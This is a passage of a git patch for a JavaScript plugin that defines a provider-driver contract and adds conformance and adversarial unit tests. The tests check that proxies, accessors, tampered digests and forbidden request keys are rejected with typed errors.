'request_extras'); + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }; + if (hasOwn(extras, 'intent')) request.intent = optOwn(extras, 'intent'); + if (hasOwn(extras, 'include')) request.include = optOwn(extras, 'include'); + return detachFrozenJson(validateDriverRequest(request, operation).request); +} + +export function describeProviderDriverContractV1() { + return capturedFreeze({ + schema: PROVIDER_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + request_schema_ids: DRIVER_OPERATION_SCHEMA_IDS, + result_schema_ids: DRIVER_RESULT_SCHEMA_IDS, + request_keys: DRIVER_REQUEST_KEYS, + result_keys: DRIVER_RESULT_KEYS, + dispositions: capturedFreeze({ + preflight: [...PREFLIGHT_DISPOSITIONS], + launch: [...LAUNCH_DISPOSITIONS], + reconcile: [...RECONCILE_DISPOSITIONS], + cancel: [...CANCEL_DISPOSITIONS], + }), + capability_schema_id: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + capability_snapshot_schema_id: PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + capability_record_keys: CAPABILITY_RECORD_ALLOWED_KEYS, + features: DRIVER_FEATURE_VALUES, + reconcile_intents: RECONCILE_INTENTS, + relaunch_operations: capturedFreeze([]), + transports: capturedFreeze([]), + detail_code_pattern: DETAIL_CODE_PATTERN.source, + detail_message_max_bytes: DETAIL_MESSAGE_MAX_BYTES, + }); +} + +capturedFreeze(validateDriverDeclarationV1); +capturedFreeze(assertCapabilityRequirementV1); +capturedFreeze(assertDriverFeatureV1); +capturedFreeze(validateDriverPreflightRequestV1); +capturedFreeze(validateDriverLaunchRequestV1); +capturedFreeze(validateDriverReconcileRequestV1); +capturedFreeze(validateDriverCancelRequestV1); +capturedFreeze(validateDriverPreflightResultV1); +capturedFreeze(validateDriverLaunchResultV1); +capturedFreeze(validateDriverReconcileResultV1); +capturedFreeze(validateDriverCancelResultV1); +capturedFreeze(assertProviderDriverV1); +capturedFreeze(bindProviderDriverV1); +capturedFreeze(buildDriverOperationRequestV1); +capturedFreeze(describeProviderDriverContractV1); From 79e0fa965055900242fdcabb1ec5c17b1898d790 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 19:31:41 +0000 Subject: [PATCH 002/151] test(provider): add the provider-agnostic driver conformance harness Drive scripted drivers through the closed P17 lifecycle without a transport. Cover P05 13-field alignment, hostile descriptors, proxies, accessors, symbols, exotic prototypes, sparse/alias/cycle/depth graphs, and transition/correlation/duplicate/stale/tamper cases. Unsupported features and capability-contradicting launch certainty fail typed. --- .../test/provider-driver-contract-suite.mjs | 399 ++++++++++++++++++ .../r1-provider-driver-adversarial.test.mjs | 261 ++++++++++++ .../test/r1-provider-driver.test.mjs | 389 +++++++++++++++++ 3 files changed, 1049 insertions(+) create mode 100644 plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs create mode 100644 plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-provider-driver.test.mjs diff --git a/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs b/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs new file mode 100644 index 0000000..8baf460 --- /dev/null +++ b/plugins/codex-co-engineer/test/provider-driver-contract-suite.mjs @@ -0,0 +1,399 @@ +// Reusable, provider-neutral ProviderDriverV1 conformance kit (P17). +// +// Any scripted or future harness driver (P18-P21) can be driven through this +// suite offline, with no provider transport, to prove: +// - exactly four own-function operations and nothing else; +// - the accepted P05 13-field capability record, not a stub schema; +// - exact ChildEnvelopeV1 proof requests and identity-echoing results; +// - unsupported live progress/restart/cancellation/detailed events fail +// closed with no fallback or replay; +// - hostile descriptors/proxies/accessors/symbols/exotic/sparse/alias/ +// cycle/depth/size inputs never execute caller code; +// - transition, correlation, duplicate, stale, and tamper cases fail +// with stable typed errors. + +import assert from 'node:assert/strict'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1, parseChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_FEATURE_KEYS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + LAUNCH_DISPOSITIONS, + PREFLIGHT_DISPOSITIONS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverLaunchRequestV1, + validateDriverReconcileRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { p17Record } from './fixtures/r1-resolver-fixtures.mjs'; + +export const DRIVER_SUITE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const DRIVER_SUITE_REPOSITORY_PATH = '/opt/codex-co-engineer-driver-contract/suite'; +export const DRIVER_SUITE_RUN_ID = 'driver-contract-suite'; +export const DRIVER_SUITE_ASSIGNMENT_ID = 'contract-lane'; + +export function buildDriverContractFixtureV1() { + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: DRIVER_SUITE_RUN_ID, + repository: Object.freeze({ path: DRIVER_SUITE_REPOSITORY_PATH, base_sha: DRIVER_SUITE_BASE_SHA }), + objective: 'Exercise the ProviderDriverV1 contract suite end to end.', + assignments: Object.freeze([Object.freeze({ + assignment_id: DRIVER_SUITE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the contract lane exactly as instructed by the envelope.', + execution: Object.freeze({ provider: 'dsh', model: 'stealth/ox-alpha' }), + write_scope: Object.freeze(['mcp/**']), + acceptance: Object.freeze([Object.freeze({ command_id: 'unit-tests', timeout_ms: 600_000 })]), + expected_duration_ms: 1_200_000, + required_evidence: Object.freeze(['provider_report', 'git_diff']), + })]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const envelope = compileChildEnvelopeV1(manifest, DRIVER_SUITE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function driverFeatures(overrides = {}) { + return { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...overrides, + }; +} + +export function driverDeclaration(provider = 'dsh', featureOverrides = {}, capabilityOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record(provider, capabilityOverrides), + features: driverFeatures(featureOverrides), + }; +} + +export function driverResultFor(operation, request, disposition, overrides = {}) { + const lane = parseChildEnvelopeV1(request.envelope_text); + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: lane.run_id, + assignment_id: lane.assignment_id, + lane_index: lane.lane_index, + base_sha: lane.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + ...overrides, + }; +} + +function detailFor(operation, disposition) { + if (operation === 'preflight' && disposition === 'blocked') { + return { + detail_code: 'model_unattested', + detail_message: 'The installed provider cannot attest the model.', + }; + } + if (operation === 'launch' && disposition === 'not_sent') { + return { + detail_code: 'transport_unavailable', + detail_message: 'No prompt reached the provider.', + }; + } + return {}; +} + +export function scriptedProviderDriverV1(dispositions = {}) { + const chosen = { + preflight: 'ready', + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'cancel_confirmed', + ...dispositions, + }; + return { + preflight: (request) => driverResultFor( + 'preflight', request, chosen.preflight, detailFor('preflight', chosen.preflight), + ), + launch: (request) => driverResultFor( + 'launch', request, chosen.launch, detailFor('launch', chosen.launch), + ), + reconcile: (request) => driverResultFor('reconcile', request, chosen.reconcile), + cancel: (request) => driverResultFor('cancel', request, chosen.cancel), + }; +} + +function expectDriverFailure(prefix, name, fn, code) { + assert.throws( + fn, + (error) => error instanceof RunContractV1Error && (code === undefined || error.code === code), + `${prefix} ${name}: expected RunContractV1Error${code ? ` with code ${code}` : ''}.`, + ); +} + +function hostileRequest(operation, extraKey, extraValue) { + const fixture = buildDriverContractFixtureV1(); + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + if (extraKey !== undefined) request[extraKey] = extraValue; + return request; +} + +export function runProviderDriverContractSuiteV1(driver, options = {}) { + const label = options.label ?? 'provider-driver'; + const declaration = options.declaration ?? driverDeclaration('dsh'); + const prefix = `[${label}]`; + let checks = 0; + const pass = () => { checks += 1; }; + const fixture = buildDriverContractFixtureV1(); + + const description = describeProviderDriverContractV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS], `${prefix} contract operations`); + assert.equal(description.version, PROVIDER_DRIVER_VERSION, `${prefix} contract version`); + assert.equal(description.relaunch_operations.length, 0, `${prefix} defines no relaunch operation`); + assert.deepEqual([...description.transports], [], `${prefix} claims no provider transport`); + assert.equal( + description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + `${prefix} capability schema is the accepted P05 bridge`, + ); + assert.equal(description.capability_record_keys.length, 13, `${prefix} P05 13-field capability record`); + pass(); + + const summary = assertProviderDriverV1(driver); + assert.equal(summary.schema, description.schema, `${prefix} driver schema`); + pass(); + + const bound = bindProviderDriverV1(driver, declaration); + assert.deepEqual(Object.keys(bound).sort(), [...DRIVER_OPERATIONS].sort(), + `${prefix} bound surface exposes exactly the four operations`); + pass(); + + const receipts = {}; + for (const operation of DRIVER_OPERATIONS) { + const request = buildDriverOperationRequestV1(operation, fixture.envelope); + const receipt = bound[operation](request); + assert.ok(DRIVER_DISPOSITIONS[operation].includes(receipt.disposition), + `${prefix} ${operation} uses the closed disposition vocabulary`); + assert.equal(receipt.run_id, fixture.run_id, `${prefix} ${operation} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${prefix} ${operation} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${prefix} ${operation} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${prefix} ${operation} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${prefix} ${operation} echoes the verified envelope digest`); + assert.ok(Object.isFrozen(receipt), `${prefix} ${operation} result is detached/frozen`); + receipts[operation] = receipt; + pass(); + } + + if (receipts.preflight.disposition === PREFLIGHT_DISPOSITIONS[1]) { + assert.equal(typeof receipts.preflight.detail_code, 'string', `${prefix} blocked preflight classifies itself`); + } else { + assert.equal(receipts.preflight.detail_code, undefined, `${prefix} ready preflight stays bare`); + } + if (receipts.launch.disposition === LAUNCH_DISPOSITIONS[0]) { + assert.equal(typeof receipts.launch.detail_code, 'string', `${prefix} not_sent launch classifies itself`); + } else { + assert.equal(receipts.launch.detail_code, undefined, + `${prefix} ${receipts.launch.disposition} launch stays bare`); + } + pass(); + + expectDriverFailure(prefix, 'digest-only launch', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), + 'digest_only_launch_denied'); + pass(); + + const flipped = fixture.child_envelope_digest.startsWith('0') + ? `1${fixture.child_envelope_digest.slice(1)}` + : `0${fixture.child_envelope_digest.slice(1)}`; + expectDriverFailure(prefix, 'wrong digest', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'child_envelope_digest', flipped)), + 'child_envelope_digest_mismatch'); + const last = fixture.envelope_text.charCodeAt(fixture.envelope_text.length - 1); + const tamperedText = `${fixture.envelope_text.slice(0, -1)}${String.fromCharCode(last ^ 1)}`; + expectDriverFailure(prefix, 'tampered envelope bytes', + () => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: tamperedText, + child_envelope_digest: fixture.child_envelope_digest, + })); + expectDriverFailure(prefix, 'uppercase digest', + () => validateDriverLaunchRequestV1(hostileRequest( + 'launch', 'child_envelope_digest', fixture.child_envelope_digest.toUpperCase(), + )), + 'invalid_format'); + pass(); + + expectDriverFailure(prefix, 'cross-operation reuse', + () => validateDriverReconcileRequestV1(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'schema_mismatch'); + pass(); + + const foreignKeys = [ + ['fallback', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['relaunch_attempts', 1, 'unknown_key'], + ['resend', true, 'replay_or_fallback_denied'], + ]; + for (const [key, value, code] of foreignKeys) { + expectDriverFailure(prefix, `foreign key ${key}`, + () => validateDriverLaunchRequestV1(hostileRequest('launch', key, value)), + code); + } + pass(); + + let getterRuns = 0; + const accessorRequest = hostileRequest('launch'); + delete accessorRequest.envelope_text; + Object.defineProperty(accessorRequest, 'envelope_text', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.envelope_text; + }, + }); + expectDriverFailure(prefix, 'accessor request', + () => validateDriverLaunchRequestV1(accessorRequest), + 'accessor_property_denied'); + assert.equal(getterRuns, 0, `${prefix} no getter executed during request validation`); + + expectDriverFailure(prefix, 'Proxy request', + () => validateDriverLaunchRequestV1(new Proxy(hostileRequest('launch'), {})), + 'proxy_denied'); + const revocable = Proxy.revocable(hostileRequest('launch'), {}); + revocable.revoke(); + expectDriverFailure(prefix, 'revoked Proxy request', + () => validateDriverLaunchRequestV1(revocable.proxy), + 'proxy_denied'); + expectDriverFailure(prefix, 'symbol key', + () => validateDriverLaunchRequestV1(hostileRequest('launch', Symbol('hidden'), 1)), + 'symbol_key_denied'); + + const hiddenKeyRequest = hostileRequest('launch'); + Object.defineProperty(hiddenKeyRequest, 'schema', { + value: DRIVER_OPERATION_SCHEMA_IDS.launch, enumerable: false, + }); + expectDriverFailure(prefix, 'non-enumerable key', + () => validateDriverLaunchRequestV1(hiddenKeyRequest), + 'non_enumerable_property_denied'); + expectDriverFailure(prefix, 'exotic prototype', + () => validateDriverLaunchRequestV1(Object.assign( + Object.create({ inherited() {} }), hostileRequest('preflight'), + )), + 'exotic_prototype_denied'); + expectDriverFailure(prefix, 'sparse array payload', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'extra', new Array(3))), + 'invalid_array'); + const cyclicRequest = hostileRequest('launch', 'extra', {}); + cyclicRequest.extra.self = cyclicRequest.extra; + expectDriverFailure(prefix, 'cyclic payload', + () => validateDriverLaunchRequestV1(cyclicRequest), + 'aliased_reference_denied'); + const shared = { lane: 1 }; + const aliasedRequest = hostileRequest('launch', 'extra', shared); + aliasedRequest.extra2 = shared; + expectDriverFailure(prefix, 'aliased payload', + () => validateDriverLaunchRequestV1(aliasedRequest), + 'aliased_reference_denied'); + expectDriverFailure(prefix, 'function payload', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'envelope_text', () => {})), + 'invalid_json_type'); + let depth = { v: 0 }; + for (let index = 0; index < 34; index += 1) depth = { nested: depth }; + expectDriverFailure(prefix, 'oversized depth', + () => validateDriverLaunchRequestV1(hostileRequest('launch', 'extra', depth)), + 'value_depth_exceeded'); + const ownUndefined = hostileRequest('launch'); + ownUndefined.version = undefined; + expectDriverFailure(prefix, 'own undefined', + () => validateDriverLaunchRequestV1(ownUndefined), + 'own_undefined_denied'); + pass(); + + expectDriverFailure(prefix, 'fifth operation', + () => assertProviderDriverV1({ ...driver, retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...driver }; + delete incomplete.cancel; + expectDriverFailure(prefix, 'missing operation', + () => assertProviderDriverV1(incomplete), + 'invalid_surface'); + expectDriverFailure(prefix, 'non-function operation', + () => assertProviderDriverV1({ ...driver, preflight: 42 }), + 'invalid_operation'); + const accessorDriver = {}; + Object.defineProperty(accessorDriver, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of ['launch', 'reconcile', 'cancel']) accessorDriver[operation] = () => ({}); + expectDriverFailure(prefix, 'accessor operation', + () => assertProviderDriverV1(accessorDriver), + 'invalid_object'); + expectDriverFailure(prefix, 'Proxy driver', + () => assertProviderDriverV1(new Proxy({ ...driver }, {})), + 'proxy_denied'); + class DriverClass {} + expectDriverFailure(prefix, 'exotic prototype driver', + () => assertProviderDriverV1(Object.assign(new DriverClass(), driver)), + 'exotic_prototype_denied'); + const symbolDriver = { ...driver }; + symbolDriver[Symbol('extra')] = () => ({}); + expectDriverFailure(prefix, 'symbol-keyed driver', + () => assertProviderDriverV1(symbolDriver), + 'invalid_object'); + pass(); + + expectDriverFailure(prefix, 'duplicate launch after possible send', + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'replay_denied'); + pass(); + + assert.equal(DRIVER_FEATURE_KEYS.length, 4, `${prefix} four honest driver features`); + pass(); + + return Object.freeze({ + label, + checks, + ok: true, + operations: Object.freeze([...DRIVER_OPERATIONS]), + }); +} diff --git a/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs new file mode 100644 index 0000000..ebf6030 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-driver-adversarial.test.mjs @@ -0,0 +1,261 @@ +// Adversarial tests for the P17 ProviderDriverV1 contract: the reusable +// provider-neutral conformance kit passes for scripted drivers, rejects +// identity/disposition/feature lies, and keeps hostile direct-JavaScript +// inputs descriptor-first and trap-free. No provider transport is configured. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + bindProviderDriverV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + trapTotal, +} from './fixtures/r1-resolver-fixtures.mjs'; +import { + buildDriverContractFixtureV1, + driverDeclaration, + driverResultFor, + runProviderDriverContractSuiteV1, + scriptedProviderDriverV1, +} from './provider-driver-contract-suite.mjs'; + +const fixture = buildDriverContractFixtureV1(); +const declaration = driverDeclaration('dsh'); + +function expectSuiteRejection(driver, name, extra = {}) { + assert.throws( + () => runProviderDriverContractSuiteV1(driver, { label: `violator-${name}`, ...extra }), + (error) => error instanceof Error && !utilTypes.isProxy(error), + `suite must reject the ${name} violator`, + ); +} + +function wrappedDriver(overrideOperation, receiptTransform) { + const driver = scriptedProviderDriverV1(); + return { + ...driver, + [overrideOperation]: (request) => receiptTransform(driver[overrideOperation](request), request), + }; +} + +test('the contract suite accepts a conforming scripted driver deterministically', () => { + const driver = scriptedProviderDriverV1(); + const first = runProviderDriverContractSuiteV1(driver, { label: 'conformance-a' }); + const second = runProviderDriverContractSuiteV1(driver, { label: 'conformance-a' }); + assert.equal(first.ok, true); + assert.deepEqual(first, second); + assert.ok(first.checks >= 10, 'the suite runs its full check list'); + assert.ok(Object.isFrozen(first)); +}); + +test('the contract suite stays neutral across completable closed dispositions', () => { + const uncertain = runProviderDriverContractSuiteV1( + scriptedProviderDriverV1({ + launch: 'dispatch_uncertain', + reconcile: 'unresolved_attention', + cancel: 'cancel_requested', + }), + { label: 'conformance-uncertain' }, + ); + assert.equal(uncertain.ok, true); + + const terminal = runProviderDriverContractSuiteV1( + scriptedProviderDriverV1({ + reconcile: 'in_progress', + cancel: 'already_terminal', + }), + { label: 'conformance-in-progress' }, + ); + assert.equal(terminal.ok, true); +}); + +test('the suite rejects drivers that lie about the proven child identity', () => { + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ ...receipt, run_id: 'other-run' })), 'run-id'); + expectSuiteRejection( + wrappedDriver('cancel', (receipt) => ({ ...receipt, lane_index: receipt.lane_index + 1 })), + 'lane-index', + ); + expectSuiteRejection(wrappedDriver('preflight', (receipt) => ({ + ...receipt, + base_sha: 'f'.repeat(40), + })), 'base-sha'); + expectSuiteRejection(wrappedDriver('reconcile', (receipt) => ({ + ...receipt, + child_envelope_digest: '0'.repeat(64), + })), 'digest-echo'); +}); + +test('the suite rejects drivers reporting dispositions outside the closed vocabulary', () => { + expectSuiteRejection( + wrappedDriver('launch', (receipt) => ({ ...receipt, disposition: 'settled' })), + 'disposition', + ); +}); + +test('the suite rejects detail-pair rule violations and smuggled evidence keys', () => { + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ + ...receipt, + detail_code: 'why', + detail_message: 'because', + })), 'uncertain-with-detail'); + expectSuiteRejection(wrappedDriver('launch', (receipt) => ({ + ...receipt, + artifact_ref: 'sha256:deadbeef', + })), 'artifact-vocabulary'); +}); + +test('the suite rejects a driver exposing any fifth operation', () => { + assert.throws( + () => runProviderDriverContractSuiteV1( + { ...scriptedProviderDriverV1(), retry: () => ({}) }, { label: 'violator-retry' }, + ), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_surface', + ); +}); + +test('live and revoked proxies are denied with zero traps before reflection', () => { + const live = countingProxy(requestForLaunch()); + const liveError = errorOf(() => validateDriverLaunchRequestV1(live.proxy)); + assert.equal(liveError.code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + assert.equal(utilTypes.isProxy(live.proxy), true); + + const { proxy, revoke } = Proxy.revocable(requestForLaunch(), { + get() { throw new Error('revoked getter ran'); }, + ownKeys() { throw new Error('revoked ownKeys ran'); }, + }); + revoke(); + const revokedError = errorOf(() => validateDriverLaunchRequestV1(proxy)); + assert.equal(revokedError.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + + const declarationProxy = countingProxy(declaration); + const declarationError = errorOf(() => validateDriverDeclarationV1(declarationProxy.proxy)); + assert.equal(declarationError.code, 'proxy_denied'); + assert.equal(trapTotal(declarationProxy.counts), 0); +}); + +test('getters and own undefined on driver requests are denied without invoking accessors', () => { + let reads = 0; + const getterRequest = requestForLaunch(); + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = requestForLaunch(); + undefinedRequest.version = undefined; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); +}); + +test('hostile result graphs fail closed through the bound surface', () => { + const request = requestForLaunch(); + const preflightRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + const goodReceipt = driverResultFor('preflight', preflightRequest, 'ready'); + + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => [goodReceipt], + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_type'); + + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => new Proxy(goodReceipt, {}), + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'proxy_denied'); + + let getterRuns = 0; + const accessorReceipt = { ...goodReceipt }; + delete accessorReceipt.disposition; + Object.defineProperty(accessorReceipt, 'disposition', { + enumerable: true, + get() { + getterRuns += 1; + return 'ready'; + }, + }); + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => accessorReceipt, + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + const cyclicReceipt = { ...goodReceipt, extra: {} }; + cyclicReceipt.extra.self = cyclicReceipt.extra; + assert.throws(() => bindProviderDriverV1({ + ...scriptedProviderDriverV1(), + preflight: () => cyclicReceipt, + }, declaration).preflight(preflightRequest), + (error) => error instanceof RunContractV1Error && error.code === 'aliased_reference_denied'); + void request; +}); + +test('drivers cannot mutate the validated request they are handed', () => { + const mutating = scriptedProviderDriverV1(); + const originalLaunch = mutating.launch; + mutating.launch = (request) => { + assert.throws(() => { request.child_envelope_digest = 'f'.repeat(64); }, TypeError); + return originalLaunch(request); + }; + const bound = bindProviderDriverV1(mutating, declaration); + bound.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + const receipt = bound.launch({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest); +}); + +test('a dsh driver that claims confirmed dispatch is rejected by capability honesty', () => { + expectSuiteRejection( + scriptedProviderDriverV1({ launch: 'dispatched' }), + 'dsh-confirmed-dispatch', + ); +}); + +function requestForLaunch() { + return { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} diff --git a/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs b/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs new file mode 100644 index 0000000..669fc86 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-driver.test.mjs @@ -0,0 +1,389 @@ +// Runtime tests for the ProviderDriverV1 closed envelope/capability contract +// (P17): P05 13-field capability alignment, exact ChildEnvelopeV1 proof, +// typed results, honest feature/posture failures, and process-local +// status transitions. No provider transport is configured here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_REQUEST_KEYS, + DRIVER_RESULT_KEYS, + DRIVER_RESULT_REQUIRED_KEYS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + assertDriverFeatureV1, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DRIVER_SUITE_BASE_SHA, + DRIVER_SUITE_RUN_ID, + buildDriverContractFixtureV1, + driverDeclaration, + driverResultFor, + scriptedProviderDriverV1, +} from './provider-driver-contract-suite.mjs'; + +const fixture = buildDriverContractFixtureV1(); +const declaration = driverDeclaration('dsh'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, overrides = {}) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...overrides, + }; + for (const [key, value] of Object.entries(overrides)) { + if (value === undefined) delete request[key]; + } + return request; +} + +function resultFor(operation, disposition, overrides = {}) { + return driverResultFor(operation, requestFor(operation), disposition, overrides); +} + +function detailForPreflight(disposition) { + return disposition === 'blocked' + ? { detail_code: 'model_unattested', detail_message: 'Provider cannot attest the requested model.' } + : {}; +} + +function detailForLaunch(disposition) { + return disposition === 'not_sent' + ? { detail_code: 'transport_unavailable', detail_message: 'No prompt reached the provider.' } + : {}; +} + +const REQUEST_VALIDATORS = { + preflight: validateDriverPreflightRequestV1, + launch: validateDriverLaunchRequestV1, + reconcile: validateDriverReconcileRequestV1, + cancel: validateDriverCancelRequestV1, +}; + +test('the provider driver contract is closed, versioned, and P05-aligned', () => { + assert.equal(PROVIDER_DRIVER_VERSION, 1); + assert.deepEqual([...DRIVER_OPERATIONS], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.equal(CAPABILITY_RECORD_ALLOWED_KEYS.length, 13); + assert.equal(DRIVER_REQUEST_KEYS.length, new Set(DRIVER_REQUEST_KEYS).size); + for (const keySet of [DRIVER_REQUEST_KEYS, DRIVER_RESULT_KEYS, 